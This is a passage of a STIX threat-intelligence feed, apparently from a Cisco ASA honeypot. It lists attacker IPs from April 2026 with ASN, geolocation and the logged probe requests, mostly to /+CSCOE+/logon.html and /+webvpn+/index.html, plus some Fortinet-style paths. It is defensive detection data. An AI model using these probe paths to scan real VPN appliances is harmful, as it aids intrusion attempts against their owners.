      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T04:24:52.918Z",
          "last_seen": "2026-04-23T16:11:13.434Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--647a4c74-cae0-4c59-a7a1-c1fca12fcd6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T04:31:20.951Z",
          "last_seen": "2026-04-24T14:37:23.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e0740a60-544a-4cd0-a6c8-9340606ae420",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-10T04:50:11.827Z",
          "last_seen": "2026-04-27T11:32:49.480Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--16e9103f-f34e-40e0-b3b0-cd7bfe1cd467",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.76.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-10T04:14:28.939Z",
          "last_seen": "2026-04-19T08:20:53.105Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T05:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--c38a5383-fddb-4b12-8e3c-506fd49045ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T05:20:19.000Z",
      "valid_until": "2026-05-12T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T04:57:23.710Z",
          "last_seen": "2026-04-30T04:48:02.416Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--c380d79b-73be-4738-910e-017fa357d1df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:20:09.000Z",
      "valid_until": "2026-05-12T06:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-10T05:42:11.540Z",
          "last_seen": "2026-04-18T22:37:53.129Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--249d4601-69c4-452e-9a32-2e90c31a5fdc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:20:09.000Z",
      "valid_until": "2026-05-12T06:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T06:12:30.832Z",
          "last_seen": "2026-04-29T20:36:39.625Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7f4fe88b-54e8-423a-af3f-5988f20919a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:20:09.000Z",
      "valid_until": "2026-05-12T06:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T05:28:48.080Z",
          "last_seen": "2026-04-29T05:24:57.610Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T06:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--97e82942-9440-4dce-ab70-2cff92dc2f70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T06:20:09.000Z",
      "valid_until": "2026-05-12T06:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T05:57:24.545Z",
          "last_seen": "2026-04-23T20:15:14.340Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7b971e33-a68d-4d09-9522-3a894ef389ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:20:11.000Z",
      "valid_until": "2026-05-12T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-10T06:33:00.538Z",
          "last_seen": "2026-04-25T13:14:43.105Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--78363eff-a554-4e87-b46f-4bba0debccc1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T07:20:11.000Z",
      "valid_until": "2026-05-12T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-10T07:05:26.056Z",
          "last_seen": "2026-04-10T07:05:34.181Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--82789a7a-c466-4f8f-b1fe-4a83ab9b9a72",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T07:28:07.556Z",
          "last_seen": "2026-04-10T07:28:10.558Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--81216735-3b4d-40f2-8c80-091b489eb44a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-10T07:46:23.906Z",
          "last_seen": "2026-04-10T08:38:59.223Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--09a5ec8a-ea65-4de9-af3d-95c4408e1855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T07:33:22.916Z",
          "last_seen": "2026-04-10T07:33:25.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /+webvpn+/index.html HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--78340d49-6da6-4874-82c6-c936257eebb9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-10T07:37:31.674Z",
          "last_seen": "2026-04-10T08:28:36.543Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ac5ad97b-a678-4071-9b03-696c128a89ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-10T07:21:07.209Z",
          "last_seen": "2026-04-26T01:26:15.904Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SG; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--ccfc493a-0a23-46f8-bc0d-50fcb399c635",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.84.136.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-10T07:54:42.956Z",
          "last_seen": "2026-04-10T07:54:46.253Z",
          "country": "Singapore",
          "country_code": "SG",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 11,
          "first_seen": "2026-04-10T07:51:04.953Z",
          "last_seen": "2026-04-10T07:54:54.599Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c53c11a1-05cf-45ba-95f6-e9c210da9cc7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-10T07:52:52.627Z",
          "last_seen": "2026-04-10T07:54:40.252Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3320f17b-bff7-4697-b959-3b7cae2a9c76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-10T07:54:26.192Z",
          "last_seen": "2026-04-10T07:54:26.192Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-10T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--670a25ef-8fb6-45ba-a098-0a87821ec914",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T08:20:10.000Z",
      "valid_until": "2026-05-12T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
